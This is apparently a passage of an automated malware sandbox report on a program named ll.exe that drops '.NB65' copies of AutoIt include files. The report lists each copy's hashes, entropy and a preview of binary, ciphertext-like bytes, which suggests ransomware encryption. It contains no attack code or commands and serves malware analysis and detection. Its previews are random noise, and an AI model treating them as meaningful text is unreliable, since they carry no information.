Preview:}..D..(.n..J.%..n...fm.0.O.nx..:.o..].U.x&..{.........8."/X..Z:.........z.]h..Y.:wo.~I....sa.%..............J....f"l.`.....*.F....U.^Z.2+O.U.y.*9._.s_o...1........T......2.rq.MR...y..CB../o.. .....u<.7.y4Y...k......&.....g....4-......}{+q.N....m..y]."4.X......=&...9-M..<.W?......Ix..;n.6..G)[..M..4.....P*$=^..{.5YcI/.U......QN.1*.3 ..u....w..U.B..7.'..3.....R9N..8.g.mk$OKI....{J6...$...^e.^j..?..l.........6`.R.`1k.....(a.........w}.x. ... ,ue....;n.A..#.&../j.>.....1r%k#.U.B,,.o.T........5.....RNO]t..%.2w..r.z.;R.q....!... k...... O.....MJ....#.%r.. .s..O.....#.Ej6a]3>(e.=...f.w.V..2...(..K.....^.D.s..rAJn^.D..z.Qj..fk.-^.._...;Z.O..j......+q}.B9/..:"....J...TU..x.+:[..G.6(D..(..........}.3t....~..6...A.6...F......{........JR.y.....@..J..a..G.?]+.g..e%.<Y....d.......+.L.+.h*..y...\.kV...CvR..k.s..;.......K....Q...:........<.*...e...'R.ktR]...........{(Q.b.&*.7L..........pI{."...I....hm.j.>.l.fo$..[l.r...s.......f....X.5.>.g.?.

C:\Program Files (x86)\autoit3\Include\APIRegConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5093
Entropy (8bit):7.963264592040109
Encrypted:false
SSDEEP:
MD5:78C9E63CA13A674DF274E235DC3DADBE
SHA1:B72FAAB6D9A88CE9BCA2F3D60DD154AA9A88C9EF
SHA-256:D78732CFE1C098B26DE320DE26956EE9A5B68E02E94A1DA84A615CC758B63F57
SHA-512:5EFF9E5499B1F8A309EEA6527470055AA06B5B4DBFA5094FA77729479F559BCECCDD159E238BF5B8F4730777140C7BF6CC9305246EF6FC57F4D35F1948BCC3A9
Malicious:false
Preview:.e4uz+?1QOQ[!.P...[>.....{.n.r '.......G..8.f.....XD.....0n.A..Hh..v............X..f.Xz...f....eC.Z.?..%5....8..nr..5.%$.Fu=])o..Z.'{..AAb..=..Np...eU.pW.\o}.2...}.......F..J.s..H...B....7.s.e....e..M..2..DZ...c......eJ2...\.y>....m.{..F..Y..&..jQ..7...F\.....Q..q.=.`.S.....^......Efh....x....cqf............}*&..X..GoB.~..axz@.w8......F.\...w.nY]..8.O....j.. ...-C...]-b....+..[....W@.....9.X.A>F@?..1.MF..V.Y....*ta..qQ!.A..+[%-......G..AB.:...ll...-.....{ ....2.._.+..?........`.j2j...W..~MG.k=.*..=J...y..!......w......t4.....|~3{.E.....#..aD.....*.`.kI............[2 ..>...A.....E.X.P%1.3...Rx..y.G.|3....8.b...wtz.f..|-.>{.'.We.4YD./,.+U..@&I..M.....k...7I...<^y..f.L...#..b.....a.&F".9on~.7.!.?....Wh~D..U...,.KA@.h...8...0..I.F......R.".....^H/.....JhDbL..4.F=C=;qK.Q....p.N...Y.]..p.{......b.GT.B.oT....R.tL...`J.....v/.m.(m.....>.&.,...d..q.WF....V!<..*b./.I...7......R ..FEm../....K..0....L.C..#33.W8..=.7q..H..U..c..Qa.5P

C:\Program Files (x86)\autoit3\Include\APIResConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7019
Entropy (8bit):7.97403710994822
Encrypted:false
SSDEEP:
MD5:227C3FB2FB83307916FC449036E75F9D
SHA1:05BD8960B3C494C809B0D49D3DE4552A7BB35289
SHA-256:68B5019B637EE3B192DDF52601239455C6A85989AE22FB18141D75CF56CC9D83
SHA-512:1B4E158F44AD5AE162AAAA12C5998EEE999662FE147B2047631B295ABAA1F09D09112388A146D3A5F19629CE99A8CD9E0862E835F5677BC9BD3417ED84C83C2E
Malicious:false
Preview:#z:h.;...>..6. ...Oy..)..ZPd..N8.4m.......E~.3@.J...m.?Mg..n;j.{.{E.wy..2..k.VZg.......d.i"n.6.._.#..I.e.J.5....H6.~....VU...p.."x.1..L/...C*.5...(Z.J..;B...OK_..4..H.....b..]Uc..*l)..w.#...:i.+.....e.].<...;...O...I.....U.q-$.S.....m\K....e.f..+..])...d,...f;`.b..o.m.X.(.i.#.$......./.....'`.....j...,9...w.....v..t..i....9!..u%..:0...KT..........Ab......F]...w.7..l..b....X&..Y..&...N&T...{...2b<.1.X.....'.K...|.;.T.cj.(..h.3pkM....^.n5g........l....Pr..[w.f3..Y.......b..I..e..t!8H.$...-.n.....eF..?..*.].S..Nl.h.il.>.....f.'...&...v...j..F...L..u.3.......u.....F..a.o...8P.;.&[....W[.p..6.....D@......d#L+].....`..T.E.....=..7.1!zc.~)G.....e2..........k....*...@.\.7Z.6&m....g..O'. ."..,i)>E9<A......P.2+<}....3......@.Z..p.x.t..X%l....)..J&..j.hXUJ.-A........b!..eb..2......._[."x/..c.T.Z.F/@?Y=.H..^.x........U. .<.j..*...z.Vl8....c.3sJ.>.E...<w....(.^.6.Y.J.J.g.3.9...L.k.C..G.......KK.V......^aWz#.....,....[.=...}.U.e..T["V..@..}.

C:\Program Files (x86)\autoit3\Include\APIShPathConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3705
Entropy (8bit):7.946179238543873
Encrypted:false
SSDEEP:
MD5:D636B999BDDF08C1BBA78DE5EF8C26B4
SHA1:DC3D21F6D3AC45595F1EA146B35D393BC51A7D99
SHA-256:071764235C4CA1DDF4120AED234FA16CE6BE11C41FDC077B18FD626120C7B0AA
SHA-512:6C836058E5D018BEE3371A36259A647540F68CF3FFB8526EECB7BB2760EE0649A7041803D32976DE4AF5E71623907611FC8BE92985DD8FC7E6FD489E7A5C4C1A
Malicious:false
Preview:s!..k.6.c...1.,3....1?K..1.X......;..j...i..C.H....../.%..>....%..\....d"Y......}..+...3...k...../SX..h.........I....a..4.9.....D.4.....e>.....Xph..R....[0...~..^.H.m.$.s.H....=Iu.|.......f.....z.....Z..'|.J.#.......WuM...A....&..k..Z...yT..\T3...A.xj.Qk..Lnk..I.;5.......oq2o...RK.....v&#.).`.]-.`05.c.......}.g.#D.r-7.C.%....J.*.SX...j..B..>:_]x..........A..K. J.B..D8n..C...w..T.cIlv...H....X.i;..I..1..G.w.$9..o6[`[.........j.....v...n..(.A...C......2.._T'.)..~..6..hgj.*8.:o.B..6.O.E...>..._)......DO.......aZL6.[;,B..:..YKt..fQAh........G.5......//....nr.-......_.]]......F...$t.......QPO.:..E.mT..a5.i.@J.k.+>.P.....h....3.)z...Y{A..?/6(..O....z.V4P.._.w...0......;y.......... .....M.=`/.R..p.Q......8@9k.#.?..&2..-.r:......J.....6.g....2..!..G.Z.i.....{4.X.$_.S....7...=U...{.g<5.-M.../...+.>.&......J.."qE8.....1.._....aD..\..&.Z.M...C.......M....5.#.:.m..........'k..m......{Y6.d2..Q&~.P .............eIv.d...g................P.^..v..

C:\Program Files (x86)\autoit3\Include\APIShellExConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):33643
Entropy (8bit):7.99436302096228
Encrypted:true
SSDEEP:
MD5:9B299064B0A879EADB5331591265F168
SHA1:27793D7F77EA222AB77D6F175AA901EDAB6A3675
SHA-256:8F565BAB30F01F685FEFE8C966CC9D5C818776C1349BCDB2783F2498A56B216C
SHA-512:6F98A183ABE4143C6A4A4C9F5C6FD6A679BEA00334FC6C6E23E85019BA9A24F8A3585837AEC668D5A55DDE7DDD0E6D70AD6424034B489165012E0C3C03ECACCC
Malicious:true
Preview:E.N.Q.P.L.?./L*...|..W...y..".........c&i9..%.7.......^Z.(..U.i(....yd|.z.u....`..[....ZD.)|..p..q.tu:...:.....7/\0..v.0fJ....u......h....tz....\.......2.Qs..k...+.wwA.....j?....;...G..8...e.....v7...H.mi.H...l.8.....g,B....9..A}Rmd..M......B.0..b...@k4......)....h.;..1.}..X.g..x#.....$ .c.........[ac.!..zJd.6..B:W4.u..F....Es.4.fg.b...........c....{.].$."3,.9f...b...j.3.....{$..M.T]....)?..6...p.U...rB..W...*._*..KT-.c...H...e.'.|^F.u....rf.Ad..s.M..V....7.L..c....:.H.".......I...GpU.C..KP..l'..h.{.BA.....#..3.<.Y.....DW..4..~:g4.......a.!sIH~t3G..f..q..7.O.-...+.R".OE........}o..:...Nki.`.N.....)..5hI:.'..q..&*l.?`.$~.1.p..........:f....e.,....A....q.R..Ls.@.B.v....]^.....SG.\)E.D&.{.......V.)s>V.O....C....g..>.P.. ..Z..'_..#.XG...n......n.).[s....g.....r...,N...(6.....&...R.(..hi.q..2....3lei*.a.....{..S....n^.L>AW...@....pv.K.x..#C...`~.[.4..] .A'....E6L.>Q...n....2..]{.]H./\I.3.q.I..R3\...d.U...?h.X...o. 6..J.@.H.1....h>.l.5....

C:\Program Files (x86)\autoit3\Include\APISysConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):16746
Entropy (8bit):7.989452111831191
Encrypted:false
SSDEEP:
MD5:22BA666CA1469B2F9DE7A36E4EB13720
SHA1:5D6985D1CBDE027D5791DDB61675230AB8936B32
SHA-256:21EAEA4BB41FC6002BCDF13A1CA937FC950CF0E9F879D4BBEB6A43068388283C
SHA-512:2B20673DC6590308FB7CD1CF2018E14D295C2D63BFF40697CDFF74AE08563383DD91CB0F5D5D27FD8C2F7280631D993E1FA756C68ED539366F01AC244622A32B
Malicious:false
Preview:hP.........N..)/.>....3.#VLv.=.v8..Q.Z?....JW.....8.VU.X..H1x..M...:/l..2..\.y.tqT.......*.t...g2.H...V.*....o9.]c.=..-..e..f.b^e...Y..3R.....c0)..I...Xk.T..E....dR.P_;#...P.]y.)..y...i.........H.-%}.K..3-....5..<.~.SNaE..Exj.II.w..8k!.}.....LD.....eW.m.F..g.Ao.0..S...P.2X..H..!./.E...F...........y.t..+./|.g.5.({1U......l.....m)g..........n, Y.U...}E..n...\.5..^.K.t@Q...&....R.<.O"...p9.>.....@.m..4...&....e).G..M...x......`W.e].m..^D. qp.EX.y.....sT.6?../.,M...K./|...'W.........x. 1...9]T..Pv:-.i.*F..-....Psm....wm..p...Uw..R..|.........+.q{SB..yx.{.J.../.D....?he.s.S.s,R.'E.8..|....o.B. UA...#^...E.m...A....8,n...V....tq..m)N..@..6.......$1.u.=Uq;..Y.....k. $}.t.zU@.....g..*=_.G{].1%.......1.NDI.A'..n..P..A.|..n..J.yi..2,....2E6{..l....W.a..N.>\.u..|#.-G....-.3.C.i......tKDCc.b;....P.|:{...v.>..Qy........2...a.n.......E..o=.&;..g.M.`..V.z....!g.p}....).z..e..g..H..qJ.vR{.S.2.-...K....I...(...V].[....=?..'.....$...Z?..~kH...*.,...M

C:\Program Files (x86)\autoit3\Include\APIThemeConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):12386
Entropy (8bit):7.984051273624062
Encrypted:false
SSDEEP:
MD5:5F2FCE4FBC2B2C1199AAB95170E519D1
SHA1:6499E1FC286D4D7AF3029FABCB19273AEA6EEACF
SHA-256:1F01F8A00E66CD00150FC300C958EF27104878B851225AAAEB86DEF67D3DA97E
SHA-512:4C1BE70B01AE83A275F65A0985810DA8BD18CC6771D0FDB6CAAA6DC432DA9194A5EC31AB1F7E68A33820219E6E5BBBBF3DBE14CA3DCD2DEE32944784EF3DE696
Malicious:false
Preview:...?.P{....F..../..j7....P....w........<@.Ywy.d...y_......=);._..nr......C...h...2..)wF.YelR...s&..k......V.J..H.e..+..s.................DU..#.V-.1Lj.{...cG...k........B....:l.'..4.K...... fI.....U.3.g..;o(..7.....:.q....z.lqc.5....u.....O'8.LF}..S... ...U..ES......A.y~5..K..f<..Kl..iM\"_..J..-.yc....zP..o..S..r.#.._5.o...+...sD:.nb...DV..Z9*...(]M.r\..9~[......_.G5D}W....m......I/..Z}.%h[t..%..*...!.4&8J.9.....Z..(}..o.."..*.\.:..S...K..=.tj.l...U>.0.)...b]Q.R...\.Q.e+bb.o......?_.M..[?...Z(...Lj-5..#x.Qh].c..........{...3.Np.2.Q$..-E....x~+.....K.....z V......p...H.. .:."74Z.US....._......{"m..3."..N{f.X.n......}.(..8..1.a8.D8...1ao._..:..B...$.r\Z.R.P.q8...c .E.W......=.6........C...*.n.9.W4.z.w.e......W.]..........g...#.@.S....^.9...6V.P....[n5U .S..;..#R....Sz..RZ.......k....na./..L..i.>2.R.hY=.Z.KJ5....#.5..&v.....t_g.c;...)x.r)..m.|C....8.ms. ?..~.....R...#.s.W:..5.%..$wc...j{J.u...U..l)....`\<.......4F.lt.Y.J..[....lC....O.

C:\Program Files (x86)\autoit3\Include\AVIConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2117
Entropy (8bit):7.90430038221163
Encrypted:false
SSDEEP:
MD5:F5D22D5ECBFC95830D308E325D3ACA9F
SHA1:2109DBEBCECA700A857E7B20F78F5B17F11E8ACA
SHA-256:CA15682162FF8993693A0EF6829BE11D42CC4B8B6F90C07DA082B16EE627C97A
SHA-512:229A1765004CE7B5ECF585427EBC6ADDC222AC91EFCC626B4C662B5D535DC76D756EA3EA379975956C8613DE3077E496ECDBF5176E6328A206AD642FFCD8E991
Malicious:false
Preview:.m%.........p.D.(i..>....b....EY..,%6.|. "{..v.1.R.!.!.JQ>(......T...NE...2/.$<I.p...O...)@.!Y..D..x>D...&.AY5.Z.c....6.OTdj.N..:F.e..d.'{..C.e+.;#.....A....y.v.a...h..>.L......j....6..v5.Vr..W...k8~...6.c..i....N6....=(..M;.$...E)`.<...X.L.......gu.S...4.s.j../...i...=|yG6.Y<.....o.kd...V..4.@....0..)t.~.ud.._.h............*.Z.R%..G.....Z)..v..e:..q..v..N}....2.....%D...'..7h.&.\r........r.....[.2..epjU..3...P/N_......a...j..b.Y.A&IB.k.[....u...m/....|uqi3..P..A..D.y.X.4TY...#.....K...0.a...+.c. .Y..C.):...$...4p*.T.A..V..m7...&..,%........PH}k}.a..~8.....}...%_G...uN...E....]..IK91;,.+.G-....p.i<.TRk...c..x.s.u.Z.d....|N1..R......?">....k...sE%.r.s$n.tB.t.Uw%~$.:c...j.7q8K@.t[b%...a+l....(_T<.....t...8...yGZ...........Q..%.o.Z.@.U6K*4..f....)F....e..O`.-...o9%.Q....Ic.O.2vq.E.k.w.@...^...M..QeZ..d.V..3...av.s.>.I.At..^.8............a.Q8/>.M-..c.?g6...J..I.R...oW.Y.x.wF=C....d.{Bg.:.z..Z...1d.& ..AS.".{d.E4....NN`....6..~...fDQ.2.0.l..

C:\Program Files (x86)\autoit3\Include\Array.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):81595
Entropy (8bit):7.997712728353631
Encrypted:true
SSDEEP:
MD5:53868B3ACAAF13B0107517178C850393
SHA1:AC730A744472F9FBE574E44F7B2739778D7AC501
SHA-256:1A6BCDD8C6DB378CC06932231129733A795A4233A6D109C490BF4DEDF074CDC8
SHA-512:7037E0A12196DCBE476815E60EE1A8560BAFDDE6889508F32A1E007229148190D643A6CAFBA0D84331F2E627499BE1CCE60BFB734FC406235F3641632BFA29F4
Malicious:true
Preview:.R~.\....t..3qUMoO%..G..2..&O.L..s........p}.......k.an..S..Y..^g. .L.{9..7.............C.K.e..m../.\tujA..z`.l..(.......\(.N......P5...}.....CD.S..>B.(.[......ZE7...O.>.[.;X.....+.....|6......C......q..Y.Y.....VW.vc...[.Zw'.`..r.'..5...o...K..O..c.7fy.....9.Y.MP}...Bo.3:....O..X.v..H>|b<.+f.......{.T.q.Y@m.b....\|.X.D.....L{.,..7.q..f.F(.._.....fGl.7M...x.B.>."...<...[.x..E*...1...U.I..z...N$1H.\N.....OO.4UgnAU...........|.k...^V....5f......UC.#O...U.:_.~DA.....L.#...ij.......9*|.....eyu.p.....J]...{.j2.W..F,`...;QU....a..i.O..\ ;.Y.\3.x.*-......YJC.M.O...m...Y(b.B..-Y......o.TB8....u{.0.z.I.Fh2.UH.?...yt.....{...F!...a.........z....].....hD.tiM..;-..A*9Z..........)..<...]...&t...&.8.....~6..ul.....{.d......f._...W......U.2...=mZ..D..GO2...ma{..5M.lyt..>Ai..q.HAH..7....SOY.1%C.VwP..}.].3....y&C+..e.K/(.]..^......%...-...d..?..r}.6.;.........FA.C.....M.....".1}5.J.k..z6...a.908.. ..._.o..@..G.......ab.,.m`...T.nm.....W..M..\%.

C:\Program Files (x86)\autoit3\Include\ArrayDisplayInternals.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):33564
Entropy (8bit):7.994488205007662
Encrypted:true
SSDEEP:
MD5:F7C31E82373E200EFAE849F499F9BF66
SHA1:DDB2F285A24F6825922497B02AC0A6108E0A3CAD
SHA-256:E1E44767B06D0E0DD44CD02BDAF39B96BC024699A5305F809F7209A7DB2281C2
SHA-512:6EE75FA6E19459E048E2A7B551EC15EC70A7FEE8356DF48D4CA224706F38874E5B7DCE070E8FF1F3E608367B2DF71447F2FF3045E186940576ACEB1A47A2D446
Malicious:true
Preview:.!.u*R2.&V........B...j...[.%..m..y/H........(..nz..Z.......u.*SgK.c$%>...4.@..v......3..{h...z....-f,.*"=..b. o.....K.h.F.T,K.dj..8v.......k.I.l.....}.B.B<].....7N|....E<eSd.Ep.4.m...LH...,.Vq..p.t....H>....rDLD.T..r..n.B.I.k...........(.^..3O...Ak4...S.....f..........^.(2..j.......,.xt.{.f3 .Sa..>....m...........h..i.D[......R....,..7hkayW/Y.b..Q...Fw.&.f..Fz+.!...I:...`N....B7WI...$..{:j,u....cX.A.|.....D...".}&.#,..v3.p......).....d..9J.@.?..KiU..G...O....7.....]b..o.>.95f...X].6....(K..zd/U...M...!{...</6{.,M.|.....s...\..$APG$...r3..T....5v.O.3o0.G/.D....B.p...N.d..._.^......-O.e.....I..Q..<=......$j..b.....jV"m.....Z~.g...d@+Y.*p[...L..1... ..(.Y.d..V4.j.2.W...!Y.c.0{.$...?A..66|...k=T..L.Z.e.....{%....Yb..ff.N..._.[b[.A.x.!ru..-Q..m..Z....(..T.T.H.k...&W$...Lhf!qdv.08..Z.G.c..mH.B..7m..T.p....T ..e...i}...=..<.../..`.R0Dg-.. (......9..f.Y43.........S4...3..}L."#.R....L......|..u.......hr..z'.EA...gQ!..........f...;...y...>...4..M%t.

C:\Program Files (x86)\autoit3\Include\AutoItConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13757
Entropy (8bit):7.9886773704311675
Encrypted:false
SSDEEP:
MD5:12E0EC700F3B2A9061E6E36C918AB0AE
SHA1:1E3347DE02E0E5130D4EAEA37EF4917BC3D712D3
SHA-256:0667335D78B0985B96DDAFBC37B4389F13768279328FF22FAA507DA2CB611D9F
SHA-512:20CF4F1EDFD424F18E81CBD067308453DEAC37DD7C0A75690D2CAAE56DF3FA82EABD111B618C2F0416F842D29614E4B271630283ABBCB784C9675E4D4529BF65
Malicious:false
Preview:.=..7.....1.n.9.....#ge.... .......1 .3j.mi.>]J<.E"/..&....-C...s2..ZO...q.....unD.6$..Cd........] .&..!$fLH.......8x[.....Ol..xj!Ku...u.o..B{xR...;..&..}.!.{xlG..'..XQ.,......l.#.l..fS....zB...s.t..r.).3..W..i.L..Y......Cm...2^...y(.&\Q.w...B...*..K5.....m'..V..E.h....G.).:....4.n.N2.Pn..0....Z.c......i....i1.....=.]Y.2.c..)...L...f1.....e..@x....b2...{.=Z.,..x..wp.x('...2. #JH.U.=.7.{.:...fj..B....#k.l..)|n<.(..e...s.w.Lo.z.T$S.F8..ry.0..L.&....5_.).JZ+J..v.".-yt..X.....|k.<.b3Cg.U.O.....nfY......Z1yp.2#..|.A.....A#:.*.vW&m.4]..Q...X...@.M.')....i.,H:L.0[..i1.D9.....*.........\K...+[.j.H3.-..U7..O..39[...<....|...-...)+<...I..`yZ.vD\..s.A.........,.ow...J...Y#..T.).Q...3S.J.+P.m..7....F.rAE.H.)\.....F.n........5..s..1.....^..].C.#..W...sR......C.PT[=.J_._..T.X.$RRS5...........i.y....l...J.fq.....&...x.K.Z.H.=.....r$.wwo..I..O.;3...j.M"i..#v.;.j._.?....<.isM.?.Qx9R.6$.......}.......|.]N..D".;(.M......1..y...%..X./.j`.:..

C:\Program Files (x86)\autoit3\Include\BorderConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2654
Entropy (8bit):7.923822532339358
Encrypted:false
SSDEEP:
MD5:73A1C777857C1060675370D09163FF5F
SHA1:745A22C20A3EA5C7ECB193713F15661E5AE7B3B0
SHA-256:11D4C31D955515F1D9887EFBBCECC2924B1D7F9416DE9E7E2D09205F1F376CE5
SHA-512:9097DF42B14B3BFD8DE836BE0AE976571113957BDBFB4A23D16EA38663735289278D508B789F728AFAD21B7AB8B5D282D682A2979ADDAC5093F5F0FC75CBC864
Malicious:false
Preview:I-]-..@O.H2z.CYG.}v..........vmA..1.Iq+]._ v.\...!D.ey..@'.e...T=L.^.1'.h..w..].S.(tPO.....J........x..k..:.Z.........6. ...$'j|.f..j.......O.Y.....)9x.y..h..2UH.i...K.HM.-.].,...(n..Z~..-..R........y....y'd.O..T..-...&.~[....o{.........G..ZI.G.n.Zu.......,1M'.~..#3.|......(.....:...X4.p...qZ.6w.....U..gO%....,..-..M..J...L./..&.PZ....Z.....*}7d...BIQ.B-...8f.yf.X..p......yBEA.".q........K.mW...6.N.y....L...iG.Msv.1....Rz.t.@..8..,..yF9..&..*Q..b`....l.Z..K.........R.....o$:...9:.:....?....T.K...p28wB.U......,../..|P.J...utP....c&#..W...w..bD0-.DB...xp..i...../j.*[....PK......v.p..!S.....z..5%..=.?....|..1..J.u.. ...sN+Z*..0..z.....,..ZoU.._..1lg.6I......wN..a"r..U..0...AJ.P..1..z.T..\|.19S...'.vsp^6..:...JX..c_.a1e.CZ.y..1>..........{x...M..}*.$.&...]..././.+..q0..P..e......y.p..wF..H..v....o..2.n...H.@.....[..n.._0.Y<[t.1.....N+Z:.<.e..w.....C..#.K..N.!..E....j-...$.t..{n...n...~.d.^|H[..n.@...8...EE.345..F.y...O.o&.w.z.ce.R.........

C:\Program Files (x86)\autoit3\Include\ButtonConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4985
Entropy (8bit):7.9610220178081805
Encrypted:false
SSDEEP:
MD5:AABB37030D447FC0BAC369F64AE6B16E
SHA1:95B97D8AC58E5EA35A254A98A0D30F55CBB8AA46
SHA-256:51C0ABF2EC78E8E45AFFFD783324F425AAA3D026ED61A7EB92194D55532E49FA
SHA-512:7909E2AB0AF72CCE969A9AA842734B39488ACC4F686DD94FA87083E2B0E7FB32DB6A8FAE6A633D4648924BCF3DA1B844CC9D33742C125773A1BFB5F0B6ACFD80
Malicious:false
Preview:....TI.z...kp.O&.....}|c.....zlA.`.s..)....!N.Tz..u.Gbk.;N-...=.M.}l....x..%fFS;i!........<..~\.....uW,S{..H...I8.1..'.|.......l..D....TS..v.]<..).K...w.EEs.!n..5.t.dO..........w%R.......Tc7...Q...5Z.a..a3@#,q15.[U.v%.....s.D....aB...$...+...}..By...@.g...T...Q..=7_...0G7s..YYNW.a..P.....{........p.}..........8.....U.p...#...1K.....Z.*w.s.%..t...W]&...(....'`...K..za...B;Ge.....kR3..\<:..[%m...o..9..N..\%.%......G.....Xnv./.(r....n....q.R.!..5..V4>.....w1.^.&.T&...fX.n. .$]....}.3.B/...........M.N...|....q...?..i+G.}D.....\...r.^....;%&o.S1s...........f....g@6.KC.......6...P...#.A.Q3.u..4.#1#...!.s....p+....T.$q...&..........>X~....2A.[...^<.K=...5i.uB{.....u....#7.qR.k#AaA...I.xs..oqx,.k........r.R..o......U.K..)..CjoT......?...y.8.4.l3.9.R]..3..n.]....59n.t...s..a.7:.)..(.:7.@..&.D.P.\.%|..c.t..$..2s..(+.._....M....<.$...G....s...aa2..Ji..]......q.[T.9.........G%.R.Tf..I}...D .4..}.5.Y...w.%Fq.{....j.{.9....3.('.$.d@....(.._......8h

C:\Program Files (x86)\autoit3\Include\CUIAutomation2.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):48195
Entropy (8bit):7.996189777627703
Encrypted:true
SSDEEP:
MD5:16D4266FC46C1A700CC6F38C15EE4D40
SHA1:E15802280E3728F6A4325477922D0763AA0CB6C9
SHA-256:48DBDA87F2498C73856492DBC310D85EFC6EAABE2D2B2530EF3A5C74647199EE
SHA-512:9BC15D7619DD41A21F01D19AF4C961BF9942011921BFA4205E2323BD4F2F6A5853D3A8D177F7D498A08229DE92A9E7AD6966972DBF617A59D90E2E876DF6F7F7
Malicious:true
Preview:.B.G...wz...=.....y..:./.....;o#..a.xbH....gc.8....JW ...$.MY....s..:.L_..x..H...2..C.{...aF.a..)....#.......k./.8.!...?.EQ^....F^.t..cz..d.......v."+...(.......*Rh,...).k..*...Y..R.....b..\...K.*x...A.#S.......n..9.q..(.H./s]#..../-Bx<.=.....%P......f.p{-..8........o#...b.>..~..*.5.A.>.Q]U....m..pkiK.b.-`.....'.5...H....H....D>...yFj.`.;.+.....7.R).../..y....f...a....0 @.;..{.. vrPi...F.H.Y.Qs.?...w....&..gS[ ..@`.).....6@fM. ..?|j..%S..mI.|:np.7 .<1.R.o.j..!|.2 .:....bX.G....s.........;U..o;F.r.....|U.R...r.<....'...J".B....e..j/(...C..OP#...a..*...K..'#..).I../1.,.PP.P...0.p .O._N.......k...q......}.tD.....E....N[..?....w...@..?c...s)!....6.....Z...=...u....p[;K.>.C.1.../......p..$.n.......\.....u&...|..4t. .`7ZB;..@.-a6..{..G.P.qhp..6U..]..8....O.... u...b*.v.2.tBp...<..2...m{.h..X.......1....c..=j.J>{... P..m$.x...4gJ:.s......V...."...*..<.<G.p...|..?U.}..Z}.!1...A.!..r.VK..G...q\G\.....y.*....x.w..m...5.)..{.......*Z.9.Q....T:>.."

C:\Program Files (x86)\autoit3\Include\Clipboard.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):19516
Entropy (8bit):7.991035020006991
Encrypted:true
SSDEEP:
MD5:AF69D7331A297C817B99E7F04D40D715
SHA1:2AD99BB8725ADB7D08204B5A675C184621C6967C
SHA-256:44864A4C403B5BB794336E1717E2D22D3E61E05F5B5CCAF8E3BB1CFA7689514C
SHA-512:4F8C044AF2B281E4CB832C4825AED636938255BF372B4FFE2B14CC7A0FF847D0CB6EB19F2CA5E2A7C333664B51896DA5F12D505CB7ADA00DE2D6A79725667F08
Malicious:true
Preview:-T...s..,8.`.3...o..8.j..QDT.............F.r.........FN.._.....S.(..vT.99.H.K}..H>..dVe...l...G2.J.C..2...jG........Ugk.......{.n.C.[.h....s......g...:...I..Ak.}..W{........6....J.4h/Fq'.I.u].)5.....PHt/_m.C...r.1..e5.i....o.....\`........@.....#.M.o0l....0...Y.d.qD$......._"R...(TC.s....V.......k.cy.c_....^..(1...`p...:s.!}..2..g..@......uQ..t*=..a...._.Xx..r...~..M.....3d.!....(aJ...<..vh.|.....[n.7d.-.N..Z`.._...I...i.k...<.c'....:><i.!.v[......n..EB.^...>.y.....y8!=[.4s...}....V@....1..Hs.F9..ly...{k.~.m.9.P...E.`..P..^..t..2'.~.2..wo..pa..;8...M.u..h./[rYe......3xy...........(+..c..._.|.%G..B..o.F.#%.i!.=. .\....E.l.`wW3.^Y.....8.%....Y2n....-.O.:.cy.$^[.;......im...E.....#.....]...jQ.2.~.V........EIc....R$....".VqU.P|.......>.u..'.E..........-E..m...W..T...A...Xt\d9/f ...XDv.58..`.b.,._.......@...o."W.'S#$.A....s.. ......c...u....f...H.)rr..c(..$...l.P>F.E.M..F+...........ruq.mU.b+..*K..as....KN....VOQ.........{...t......p..h<.

C:\Program Files (x86)\autoit3\Include\Color.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):10492
Entropy (8bit):7.985825193445841
Encrypted:false
SSDEEP:
MD5:BF265AEF14EFDBD4D44DB565A7CB95D0
SHA1:6D2458B6424A3F1B7EC511719A52D4969BC1A153
SHA-256:5C97E1D999AA31E02B5C54CEDD071AB832D3EE7F175F67B25A0C44563FB66B82
SHA-512:71268F7EB12CEF67A21D0A0692283F0E59DC71C3329F5E4E2DEC2F151CE6A39097859A2368265272C14E59914EF48FA441C7048A7C91B60FFCF32194B820EDA8
Malicious:false
Preview:.-5".%>>^(.#...X.....HD.)6`e..3VP..[.....U+.59....l:'...U(x.TFG.5.._.... ..=..=S'.q:.H....o].53.\.6....H6&........Js.....V...m}.......j.......?dO.$...$.H.....j.~.....eV...j.:<h..r0.._..:.*..O...../p..g.C.x.`.1~..n....|.e.PO`..DS|9I..9.a.p.3..O5HU=.4.....OzX..i.......G....b&.:LC*.G.fk.....'R..g.W..A7.m....%P..m.k.j.Lj...,~.~O.......&.T.y.....<.~).y......yX..zL...k;.P.M.jf\.K2HzT..O......9.*....$.,.":E.S...3.67~8.uB..9].S/E.X..._..'Q.:l.Q....m.5......yez.'I..9[.a.r.L.4(~..s.vw..<....(..o..1...`.B%.s%.......%...........)..FE.~.....Y.)...G_.J.....c.WT.Qx.dGV6.%7.M4..p.nd........E?p.SS...f.dO....!.z.J..h.pE...8D.?>w.{.W{.....p"[. 